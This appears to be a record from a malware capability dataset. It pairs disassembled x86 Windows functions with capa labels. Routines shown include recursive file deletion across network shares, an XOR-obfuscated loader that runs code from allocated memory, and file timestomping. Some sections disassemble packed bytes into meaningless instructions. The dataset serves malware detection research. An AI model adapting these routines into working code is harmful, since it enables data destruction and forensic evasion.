joyce8/EMBER2024-capa huggingface dataset:
Function at 0x407050
Capabilities:
Delete file
Enumerate files on windows
Enumerate files recursively

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x264
mov eax, dword [0x4110a4]
xor eax, ebp
mov dword [ebp - 4], eax
push 0x10000
call fcn.004109f0
add esp, 4
mov dword [ebp - 0x258], eax
cmp dword [ebp - 0x258], 0
je 0x40724e
mov eax, dword [ebp + 8]
push eax
mov ecx, dword [ebp - 0x258]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
push 0x4012ec
mov edx, dword [ebp - 0x258]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcatW]
lea eax, [ebp - 0x254]
push eax
mov ecx, dword [ebp - 0x258]
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov dword [ebp - 0x264], eax
cmp dword [ebp - 0x264], 0xffffffff
je 0x40723f
mov dword [ebp - 0x260], 0
jmp 0x4070e8
mov edx, dword [ebp - 0x260]
add edx, 1
mov dword [ebp - 0x260], edx
cmp dword [ebp - 0x260], 0x1f
jae 0x40711c
mov eax, dword [ebp - 0x260]
mov ecx, dword [eax*4 + section..data]
push ecx
lea edx, [ebp - 0x228]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
jne 0x40711a
jmp 0x4071e6
jmp 0x4070d9
mov eax, dword [ebp + 8]
push eax
mov ecx, dword [ebp - 0x258]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
push 0x4012f4
mov edx, dword [ebp - 0x258]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcatW]
lea eax, [ebp - 0x228]
push eax
mov ecx, dword [ebp - 0x258]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcatW]
mov edx, dword [ebp - 0x254]
and edx, 0x10
je 0x40716f
mov eax, dword [ebp - 0x258]
push eax
call fcn.00407050
add esp, 4
jmp 0x4071e6
lea ecx, [ebp - 0x228]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
sub eax, 1
mov dword [ebp - 0x25c], eax
jmp 0x407196
mov edx, dword [ebp - 0x25c]
sub edx, 1
mov dword [ebp - 0x25c], edx
cmp dword [ebp - 0x25c], 0
jl 0x4071e6
mov eax, dword [ebp - 0x25c]
movzx ecx, word [ebp + eax*2 - 0x228]
cmp ecx, 0x2e
jne 0x4071e4
push 0x4012f8
mov edx, dword [ebp - 0x25c]
lea eax, [ebp + edx*2 - 0x228]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
jne 0x4071e0
mov ecx, dword [ebp - 0x258]
push ecx
call fcn.00410af0
add esp, 4
jmp 0x4071e4
jmp 0x4071e6
jmp 0x407187
lea edx, [ebp - 0x254]
push edx
mov eax, dword [ebp - 0x264]
push eax
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x4070cd
mov ecx, dword [ebp - 0x264]
push ecx
call dword [sym.imp.KERNEL32.dll_FindClose]
mov edx, dword [ebp + 8]
push edx
mov eax, dword [ebp - 0x258]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
push 0x401308
mov ecx, dword [ebp - 0x258]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcatW]
mov edx, dword [ebp - 0x258]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov eax, dword [ebp - 0x258]
push eax
call fcn.004109d0
add esp, 4
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00410bf7
mov esp, ebp
pop ebp
ret
Function at 0x407260
Capabilities:
Enumerate network shares

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [0x4110a4]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 8], 0xffffffff
mov dword [ebp - 0xc], 0x4000
lea eax, [ebp - 0x10]
push eax
mov ecx, dword [ebp + 8]
push ecx
push 0x13
push 0
push 2
call sub.MPR.dll_WNetOpenEnumW
test eax, eax
jne 0x407336
mov edx, dword [ebp - 0xc]
push edx
call fcn.004109f0
add esp, 4
mov dword [ebp + 8], eax
cmp dword [ebp + 8], 0
je 0x40732d
lea eax, [ebp - 0xc]
push eax
mov ecx, dword [ebp + 8]
push ecx
lea edx, [ebp - 8]
push edx
mov eax, dword [ebp - 0x10]
push eax
call sub.MPR.dll_WNetEnumResourceW
test eax, eax
jne 0x407321
mov dword [ebp - 0x14], 0
jmp 0x4072d9
mov ecx, dword [ebp - 0x14]
add ecx, 1
mov dword [ebp - 0x14], ecx
mov edx, dword [ebp - 0x14]
cmp edx, dword [ebp - 8]
jae 0x40731f
mov eax, dword [ebp - 0x14]
shl eax, 5
mov ecx, dword [ebp + 8]
mov edx, dword [ecx + eax + 0xc]
and edx, 2
je 0x407307
mov eax, dword [ebp - 0x14]
shl eax, 5
add eax, dword [ebp + 8]
push eax
call fcn.00407260
add esp, 4
jmp 0x40731d
mov ecx, dword [ebp - 0x14]
shl ecx, 5
mov edx, dword [ebp + 8]
mov eax, dword [edx + ecx + 0x14]
push eax
call fcn.00407050
add esp, 4
jmp 0x4072d0
jmp 0x4072ae
mov ecx, dword [ebp + 8]
push ecx
call fcn.004109d0
add esp, 4
mov edx, dword [ebp - 0x10]
push edx
call sub.MPR.dll_WNetCloseEnum
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00410bf7
mov esp, ebp
pop ebp
ret
Function at 0x407350
Capabilities:
Enumerate network shares

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xe8
mov eax, dword [0x4110a4]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0xd0], 0
mov dword [ebp - 0xd8], 0
mov dword [ebp - 0xd4], 0
lea eax, [ebp - 0xd4]
push eax
lea ecx, [ebp - 0xd8]
push ecx
lea edx, [ebp - 0xd0]
push edx
push 0xffffffffffffffff
lea eax, [ebp - 0xdc]
push eax
push 1
mov ecx, dword [ebp + 8]
push ecx
call sub.NETAPI32.dll_NetShareEnum
mov dword [ebp - 0xe8], eax
cmp dword [ebp - 0xe8], 0
je 0x4073c9
cmp dword [ebp - 0xe8], 0xea
jne 0x4074c7
mov edx, dword [ebp - 0xdc]
mov dword [ebp - 0xe0], edx
mov dword [ebp - 0xe4], 1
jmp 0x4073f0
mov eax, dword [ebp - 0xe4]
add eax, 1
mov dword [ebp - 0xe4], eax
mov ecx, dword [ebp - 0xe4]
cmp ecx, dword [ebp - 0xd0]
ja 0x4074bb
mov edx, dword [ebp - 0xe0]
cmp dword [edx + 4], 0
je 0x407421
mov eax, dword [ebp - 0xe0]
cmp dword [eax + 4], 0x80000000
jne 0x4074a7
mov ecx, dword [ebp - 0xe0]
mov edx, dword [ecx]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
cmp eax, 2
jle 0x4074a7
push 0x401348
mov eax, dword [ebp - 0xe0]
mov ecx, dword [eax]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
je 0x4074a7
push 0x401358
lea edx, [ebp - 0xcc]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
mov eax, dword [ebp + 8]
push eax
lea ecx, [ebp - 0xcc]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcatW]
push 0x401360
lea edx, [ebp - 0xcc]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcatW]
mov eax, dword [ebp - 0xe0]
mov ecx, dword [eax]
push ecx
lea edx, [ebp - 0xcc]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcatW]
lea eax, [ebp - 0xcc]
push eax
call fcn.00407050
add esp, 4
mov ecx, dword [ebp - 0xe0]
add ecx, 0xc
mov dword [ebp - 0xe0], ecx
jmp 0x4073e1
mov edx, dword [ebp - 0xdc]
push edx
call sub.NETAPI32.dll_NetApiBufferFree
cmp dword [ebp - 0xe8], 0xea
je 0x407381
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00410bf7
mov esp, ebp
pop ebp
ret
Function at 0x401ee2
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x411280]
jne 0x401eec
repz ret
jmp fcn.00404369

Function at 0x4025e7
Capabilities:
Accept command line arguments
Parse pe header

Disassembly:
push 0x14
push 0x40f530
call fcn.00403770
mov eax, 0x5a4d
cmp word [0x400000], ax
jne 0x4024e7
mov eax, dword [0x40003c]
cmp dword [eax + 0x400000], 0x4550
jne 0x4024e7
mov ecx, 0x10b
cmp word [eax + 0x400018], cx
jne 0x4024e7
cmp dword [eax + 0x400074], 0xe
jbe 0x4024e7
xor ecx, ecx
cmp dword [eax + 0x4000e8], ecx
setne cl
mov dword [ebp - 0x1c], ecx
jmp 0x4024eb
and dword [ebp - 0x1c], 0
push 1
call fcn.0040bbb3
pop ecx
test eax, eax
jne 0x4024ff
push 0x1c
call fcn.0040bbb3
pop ecx
call fcn.00405287
test eax, eax
jne 0x402510
push 0x10
call fcn.0040bbb3
pop ecx
call fcn.00405952
and dword [ebp - 4], 0
call fcn.004032ff
test eax, eax
jge 0x40252a
push 0x1b
call fcn.0040bbb3
pop ecx
call dword [sym.imp.kernel32.dll_GetCommandLineA]
mov dword [0x412ba0], eax
call fcn.0040bbb3
mov dword [0x41203c], eax
call fcn.0040bbb3
test eax, eax
jge 0x402550
push 8
call fcn.0040bbb3
pop ecx
call fcn.00405fde
test eax, eax
jge 0x402561
push 9
call fcn.0040bbb3
pop ecx
push 1
call fcn.0040bbb3
pop ecx
test eax, eax
je 0x402574
push eax
call fcn.0040bbb3
pop ecx
mov eax, dword [0x412018]
mov dword [0x41201c], eax
push eax
push dword [0x412010]
push dword [0x41200c]
call main
add esp, 0xc
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x1c], 0
jne 0x4025a2
push eax
call fcn.0040bbb3
call fcn.00402400
jmp 0x4025d7
mov dword [ebp - 4], 0xfffffffe
mov eax, dword [ebp - 0x20]
call fcn.004037b5
ret
call fcn.0040bbb3
jmp 0x402495

Function at 0x40bbb3
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x5c
pushal
call 0x40bbc2
pop dword [ebp - 0x4c]
mov eax, 0xff7e747b
sub eax, 0xff3db8b9
sub dword [ebp - 0x4c], eax
push 0x40
push 0x1000
push 0x3a9c1
push 0
mov eax, sym.imp.kernel32.dll_VirtualAlloc
add eax, dword [ebp - 0x4c]
call dword [eax]
mov ecx, 0x9e88a08b
sub ecx, 0x9e8853f4
xor esi, esi
add esi, eax
mov edx, 0xf6a6627f
add edx, 0x99ad945
add edx, dword [ebp - 0x4c]
mov ebx, 0xb23763dc
sub ebx, 0xad6f25fb
add dword [ebp - 0x3c], esi
mov edi, dword [edx]
add dword [ebp - 0x44], 0xa9a6a3ed
add edi, ebx
xor dword [ebp - 0xc], 0xac411a24
mov dword [esi], edi
xor dword [ebp - 0x20], 0xe2fdea22
add esi, 0x83f1f42e
add esi, 0x7c0e0bd6
add edx, 0xdb7943d0
sub edx, 0xdb7943cc
loop 0x40bc1e
add eax, 0xa2a6df1c
add eax, 0x5d5a4613
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0x400000
add ecx, dword [ebp - 0x4c]
call ebx
leave
ret
Function at 0x4012f0
Capabilities:
Timestomp file

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x1c
mov eax, dword [section..data]
xor eax, esp
mov dword [esp + 0x18], eax
cmp byte [0x405384], 0
mov eax, 0x200080
push ebx
push esi
push edi
sete bl
mov esi, 0x80
push 0
test dl, dl
cmovne eax, esi
push eax
movzx eax, bl
add eax, 3
push eax
push 0
push 1
push 0x80000100
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
mov dword [esp + 0x10], esi
cmp esi, 0xffffffff
jne 0x40135c
xor bl, 1
mov al, bl
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x18]
xor ecx, esp
call fcn.00401e82
mov esp, ebp
pop ebp
ret
mov edx, dword [0x40537c]
mov ebx, edx
mov ecx, dword [0x405388]
and dl, 1
shr ebx, 1
and bl, 1
test ecx, ecx
je 0x401393
test dl, dl
lea edx, [ecx + 8]
jne 0x401382
mov edx, 0x403b60
test bl, bl
mov eax, 0x403b60
push edx
cmovne eax, ecx
push eax
jmp 0x4014c1
mov eax, dword [0x405380]
mov edi, dword [0x40538c]
mov dword [esp + 0xc], eax
test eax, eax
je 0x4014ae
test edi, edi
jne 0x4014ae
xorps xmm0, xmm0
movlpd qword [esp + 0x14], xmm0
movlpd qword [esp + 0x1c], xmm0
test bl, bl
je 0x401429
test dl, dl
je 0x401429
lea eax, [esp + 0x1c]
push eax
lea eax, [esp + 0x18]
push eax
push edi
push esi
call dword [sym.imp.KERNEL32.dll_GetFileTime]
mov eax, dword [esp + 0xc]
mov esi, 0x989680
cdq
mov ebx, dword [esp + 0x18]
mov ecx, eax
mov eax, edx
mul esi
mov esi, eax
mov eax, ecx
mov ecx, 0x989680
mul ecx
add esi, edx
mov edx, eax
add dword [esp + 0x14], edx
mov eax, dword [esp + 0x20]
adc ebx, esi
add dword [esp + 0x1c], edx
mov dword [esp + 0x18], ebx
adc eax, esi
mov esi, dword [esp + 0x10]
mov dword [esp + 0x20], eax
lea eax, [esp + 0x1c]
push eax
lea eax, [esp + 0x18]
push eax
jmp 0x4014c1
cdq
mov edi, 0x989680
mov ecx, eax
mov eax, edx
mul edi
mov edi, eax
mov eax, ecx
mov ecx, 0x989680
mul ecx
add edi, edx
mov dword [esp + 0xc], eax
test bl, bl
je 0x40147c
push 0
lea eax, [esp + 0x18]
push eax
push 0
push esi
call dword [sym.imp.KERNEL32.dll_GetFileTime]
mov eax, dword [esp + 0x14]
add eax, dword [esp + 0xc]
mov ecx, dword [esp + 0x18]
mov dword [esp + 0x14], eax
adc ecx, edi
push 0x403b60
lea eax, [esp + 0x18]
mov dword [esp + 0x1c], ecx
push eax
jmp 0x4014c1
lea eax, [esp + 0x1c]
push eax
push 0
push 0
push esi
call dword [sym.imp.KERNEL32.dll_GetFileTime]
mov eax, dword [esp + 0x1c]
add eax, dword [esp + 0xc]
mov ecx, dword [esp + 0x20]
mov dword [esp + 0x1c], eax
adc ecx, edi
lea eax, [esp + 0x1c]
mov dword [esp + 0x20], ecx
push eax
push 0x403b60
jmp 0x4014c1
mov ecx, 0x403b60
test dl, dl
mov eax, ecx
cmovne eax, edi
test bl, bl
push eax
cmovne ecx, edi
push ecx
push 0
push esi
call dword [sym.imp.KERNEL32.dll_SetFileTime]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [esp + 0x24]
mov al, 1
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.00401e82
mov esp, ebp
pop ebp
ret
Function at 0x402681
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x4026c0
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x4026c0
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], reloc.api_ms_win_crt_locale_l1_1_0.dll__configthreadlocale
jne 0x4026c0
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x4026c0
cmp dword [ecx + 0x74], 0xe
jbe 0x4026c0
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret
Function at 0x404627
Capabilities:
Get number of processors

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x472754
mov eax, dword fs:[0]
push eax
push ecx
push esi
push edi
mov eax, dword [0x4a2008]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov dword [ebp - 0x10], esi
xorps xmm0, xmm0
push 1
movups xmmword [esi], xmm0
push 0x48f868
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
call fcn.00437b17
mov dword [ebp - 4], 0
mov dword [esi + 0x18], 0
mov dword [esi + 0x1c], 0
mov dword [esi + 0x20], 0
mov byte [ebp - 4], 1
mov dword [esi + 0x24], 0
mov dword [esi + 0x28], 0
mov dword [esi + 0x2c], 0
mov byte [ebp - 4], 2
mov dword [esi + 0x30], 0
mov dword [esi + 0x34], 0
mov dword [esi + 0x38], 0
mov byte [ebp - 4], 3
mov dword [esi + 0x3c], 0
mov dword [esi + 0x40], 0
mov dword [esi + 0x44], 0
mov byte [ebp - 4], 4
mov dword [esi + 0x48], 0
mov dword [esi + 0x4c], 0
mov dword [esi + 0x50], 0
mov byte [ebp - 4], 5
mov ecx, dword [0x4a2a48]
mov eax, dword [0x4a2a4c]
add ecx, 1
mov dword [esi + 0x58], 0
mov dword [esi + 0x5c], 0
adc eax, 0
mov dword [esi + 0x60], 0
mov dword [esi + 0x64], 0
mov dword [0x4a2a4c], eax
mov dword [esi + 0x6c], eax
mov dword [esi + 0x68], ecx
mov eax, dword [esi + 0x20]
sub eax, dword [esi + 0x18]
sar eax, 3
mov dword [0x4a2a48], ecx
cmp eax, 0x64
jae 0x40474a
push ecx
lea ecx, [esi + 0x18]
call fcn.00423e47
mov eax, dword [esi + 0x2c]
sub eax, dword [esi + 0x24]
sar eax, 3
cmp eax, 0x14
jae 0x404761
push ecx
lea ecx, [esi + 0x24]
call fcn.00423d57
mov dword [ebp - 4], 0xffffffff
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x44da37
Capabilities:
Get number of processors

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x472754
mov eax, dword fs:[0]
push eax
push ecx
push esi
push edi
mov eax, dword [0x4a2008]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov dword [ebp - 0x10], esi
xorps xmm0, xmm0
push 1
movups xmmword [esi], xmm0
push 0x48f868
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
call fcn.00480f27
mov dword [ebp - 4], 0
mov dword [esi + 0x18], 0
mov dword [esi + 0x1c], 0
mov dword [esi + 0x20], 0
mov byte [ebp - 4], 1
mov dword [esi + 0x24], 0
mov dword [esi + 0x28], 0
mov dword [esi + 0x2c], 0
mov byte [ebp - 4], 2
mov dword [esi + 0x30], 0
mov dword [esi + 0x34], 0
mov dword [esi + 0x38], 0
mov byte [ebp - 4], 3
mov dword [esi + 0x3c], 0
mov dword [esi + 0x40], 0
mov dword [esi + 0x44], 0
mov byte [ebp - 4], 4
mov dword [esi + 0x48], 0
mov dword [esi + 0x4c], 0
mov dword [esi + 0x50], 0
mov byte [ebp - 4], 5
mov ecx, dword [0x4a2a48]
mov eax, dword [0x4a2a4c]
add ecx, 1
mov dword [esi + 0x58], 0
mov dword [esi + 0x5c], 0
adc eax, 0
mov dword [esi + 0x60], 0
mov dword [esi + 0x64], 0
mov dword [0x4a2a4c], eax
mov dword [esi + 0x6c], eax
mov dword [esi + 0x68], ecx
mov eax, dword [esi + 0x20]
sub eax, dword [esi + 0x18]
sar eax, 3
mov dword [0x4a2a48], ecx
cmp eax, 0x64
jae 0x44db5a
push ecx
lea ecx, [esi + 0x18]
call fcn.0046d257
mov eax, dword [esi + 0x2c]
sub eax, dword [esi + 0x24]
sar eax, 3
cmp eax, 0x14
jae 0x44db71
push ecx
lea ecx, [esi + 0x24]
call fcn.0046d167
mov dword [ebp - 4], 0xffffffff
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x46c71c
Capabilities:
Encode data using xor
Encrypt data using rc4 prga

Disassembly:
adc edx, dword [ebx - 0x51c37e82]
rcl dword [ecx - 0x4d142282], cl
dec edi
add ebp, dword [edx]
sub byte [eax + 0x63], cl
pop eax
imul esp, dword [0x4b37cb2a], 0xffffffcf
add al, 0x20
nop
loop 0x46c793
cmp bl, byte [ebx + ebx + 0x60e83861]
clc
add dword [0xaf7b1d3], eax
sti
salc
wait
dec ebp
and al, 0x66
imul ebp, dword [edi], 0x3aad319
mov ds, word [ecx - 0x15]
fist dword [eax - 0x1a]
xchg ebx, eax
out dx, al
pop ecx
scasb al, byte es:[edi]
and bh, ch
fstp xword [esi + edx]
pop esi
mov dl, 0x91
add al, 0xdf
movsb byte es:[edi], byte [esi]
mov ch, byte [ecx - 0x4a]
aaa
pop esi
ja 0x46c710
mov ebx, 0x294412c1
ficomp dword [ebx + 0x27]
sbb dword [esi - 0x68], ebx
or bh, ch
into
or ecx, dword [ebx]
pop ebp
dec esi
pop edx
pop edi
mov edx, 0xe0eb5e19
or byte [edi - 0x6c0702f8], ch
or ch, bh
clc
xchg ebx, eax
fsubr dword [edi + 0x81e4198]
add edx, dword [esi + 0x1a1f11d6]
push ds
cmp ebp, dword [edi - 0x545cd005]
fsubr dword [ecx + 0x61ab9387]
sti
das
mov dword [0x87a9d8ab], eax
xchg ebx, eax
stosd dword es:[edi], eax
popal
mov cl, byte [ebx + 0x5c8d4c7b]
push edx
imul ecx, dword [ebp + esi*2 - 0x28], 0x2bd27733
add eax, 0xc2582856
jne 0x46c780
xor esi, dword [edi - 0x2e]
sub eax, dword [0xc2582856]
fcomp st(7)
rcr byte [ecx], cl
xchg edx, eax
cli
in al, dx
mov al, byte [0xf4874b54]
outsb dx, byte [esi]
push esp
push edx
lcall 0x1bce, 0x4fa10505
ficomp word [edx]
ja 0x46c7a6
and al, 0xff
or dword [ebx], 0xe7c6b3dd
fst dword [ebx + 0x4f]
pop ebx
test al, al
invalid
Function at 0x496dc7
Capabilities:
Get number of processors

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x472754
mov eax, dword fs:[0]
push eax
push ecx
push esi
push edi
mov eax, dword [0x4a2008]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov dword [ebp - 0x10], esi
xorps xmm0, xmm0
push 1
movups xmmword [esi], xmm0
push 0x48f868
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
call fcn.004ca2b7
mov dword [ebp - 4], 0
mov dword [esi + 0x18], 0
mov dword [esi + 0x1c], 0
mov dword [esi + 0x20], 0
mov byte [ebp - 4], 1
mov dword [esi + 0x24], 0
mov dword [esi + 0x28], 0
mov dword [esi + 0x2c], 0
mov byte [ebp - 4], 2
mov dword [esi + 0x30], 0
mov dword [esi + 0x34], 0
mov dword [esi + 0x38], 0
mov byte [ebp - 4], 3
mov dword [esi + 0x3c], 0
mov dword [esi + 0x40], 0
mov dword [esi + 0x44], 0
mov byte [ebp - 4], 4
mov dword [esi + 0x48], 0
mov dword [esi + 0x4c], 0
mov dword [esi + 0x50], 0
mov byte [ebp - 4], 5
mov ecx, dword [0x4a2a48]
mov eax, dword [0x4a2a4c]
add ecx, 1
mov dword [esi + 0x58], 0
mov dword [esi + 0x5c], 0
adc eax, 0
mov dword [esi + 0x60], 0
mov dword [esi + 0x64], 0
mov dword [0x4a2a4c], eax
mov dword [esi + 0x6c], eax
mov dword [esi + 0x68], ecx
mov eax, dword [esi + 0x20]
sub eax, dword [esi + 0x18]
sar eax, 3
mov dword [0x4a2a48], ecx
cmp eax, 0x64
jae 0x496eea
push ecx
lea ecx, [esi + 0x18]
call fcn.004b65e7
mov eax, dword [esi + 0x2c]
sub eax, dword [esi + 0x24]
sar eax, 3
cmp eax, 0x14
jae 0x496f01
push ecx
lea ecx, [esi + 0x24]
call fcn.004b64f7
mov dword [ebp - 4], 0xffffffff
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x4e0227
Capabilities:
Get number of processors

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x472754
mov eax, dword fs:[0]
push eax
push ecx
push esi
push edi
mov eax, dword [0x4a2008]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov dword [ebp - 0x10], esi
xorps xmm0, xmm0
push 1
movups xmmword [esi], xmm0
push 0x48f868
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
call fcn.00513717
mov dword [ebp - 4], 0
mov dword [esi + 0x18], 0
mov dword [esi + 0x1c], 0
mov dword [esi + 0x20], 0
mov byte [ebp - 4], 1
mov dword [esi + 0x24], 0
mov dword [esi + 0x28], 0
mov dword [esi + 0x2c], 0
mov byte [ebp - 4], 2
mov dword [esi + 0x30], 0
mov dword [esi + 0x34], 0
mov dword [esi + 0x38], 0
mov byte [ebp - 4], 3
mov dword [esi + 0x3c], 0
mov dword [esi + 0x40], 0
mov dword [esi + 0x44], 0
mov byte [ebp - 4], 4
mov dword [esi + 0x48], 0
mov dword [esi + 0x4c], 0
mov dword [esi + 0x50], 0
mov byte [ebp - 4], 5
mov ecx, dword [0x4a2a48]
mov eax, dword [0x4a2a4c]
add ecx, 1
mov dword [esi + 0x58], 0
mov dword [esi + 0x5c], 0
adc eax, 0
mov dword [esi + 0x60], 0
mov dword [esi + 0x64], 0
mov dword [0x4a2a4c], eax
mov dword [esi + 0x6c], eax
mov dword [esi + 0x68], ecx
mov eax, dword [esi + 0x20]
sub eax, dword [esi + 0x18]
sar eax, 3
mov dword [0x4a2a48], ecx
cmp eax, 0x64
jae 0x4e034a
push ecx
lea ecx, [esi + 0x18]
call 0x4ffa47
mov eax, dword [esi + 0x2c]
sub eax, dword [esi + 0x24]
sar eax, 3
cmp eax, 0x14
jae 0x4e0361
push ecx
lea ecx, [esi + 0x24]
call fcn.004ff957
mov dword [ebp - 4], 0xffffffff
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x4e8997
Capabilities:
Encode data using xor

Disassembly:
mov bl, 0xdf
fisubr word [ebx + 0x7adbe013]
mov al, 0x2a
xor edi, dword [edx - 0x73c485c3]
sal dword [esi + 0x493c4a4b], 0x18
cld
pop edi
cmpsb byte [esi], byte es:[edi]
cdq
mov cl, bh
mov ecx, 0x2afff9ed
mov dword [ecx - 1], ebp
movsb byte es:[edi], byte [esi]
frstor dword [ebp - 0x3bb25b0a]
cdq
push ebp
add byte [ebp + 0x12], ah
in al, 0x49
cmp dh, ah
mov dl, 0x81
inc ebx
push ebx
pop ecx
mov ecx, 0x46e835f4
invalid
Function at 0x506617
Capabilities:
Encode data using xor

Disassembly:
dec esi
stosb byte es:[edi], al
arpl word [esp + edx*8 + 0x7e2d9abf], cx
wait
and al, 0xb6
xchg ebx, eax
mov al, 0xb5
les ebx, [edi]
mov ebp, 0x2d95ae7d
dec ecx
stosb byte es:[edi], al
mov ecx, 0xc8ea2efb
adc ch, ah
mov dh, byte [edi]
enter 0xffffffffffffe510, 0xffffffffffffff8a
aaa
leave
mov byte [0xdd9faa47], al
sub esp, 0xffffffde
in al, 0xcd
xchg byte [ebx + 0x10], bh
das
push 0x1a08d92d
pop eax
cmp byte [eax], ah
fdivr dword [ebp - 0x7cb260ed]
sub byte [eax - 0x158f4c06], bh
das
dec esp
xor ecx, ebx
mov eax, dword [0x255f4f0f]
or al, 0x1a
insb byte es:[edi], dx
xor byte [edi], ch
arpl word [eax], di
add byte [edi + eax*2 - 0x569306b0], al
test ah, bh
test edi, edi
loopne 0x506633
into
mov dword [0x7fdc8b52], eax
cmc
popal
add byte [ebx - 0x6e], cl
mov dl, byte [edi + ecx - 0x248dce60]
inc si
rcl byte gs:[ebx + 0x5b44727c], 9
sal ch, 1
xchg ebp, eax
sub ebx, dword [ebp - 0x1692bd08]
mov ebp, 0x5b7efa38
stosb byte es:[edi], al
jb 0x5066b3
sahf
inc ebx
mov bl, byte [ebx]
xchg edx, eax
adc ch, byte [edi + 0x72]
cmp al, 0xcb
invalid
aad 0xa2
pop esi
sub al, 0xdb
mov bl, 0xf6
push es
fisttp dword [esi]
sub bl, 0xc6
push 0x45
clc
ficomp dword [edx]
sbb eax, 0x427da065
add dh, byte [ecx + 0x1a]
and eax, 0xf2b9dc6a
jp 0x506667
push edi
retf 0x4296

Function at 0x5133c7
Capabilities:
Check for software breakpoints

Disassembly:
pop ds
dec ecx
outsb dx, byte [esi]
push eax
cwde
pop edx
mov edx, 0xec26a575
loop 0x5133e7
movsd dword es:[edi], dword [esi]
das
mov esp, 0xd5dc7bca
mov ebx, 0x47ca57d6
invalid
sti
call 0xe8397216
les ecx, [eax + 0x1d]
push edi
out dx, eax
mov ebx, dword [eax - 0x6713d81c]
invalid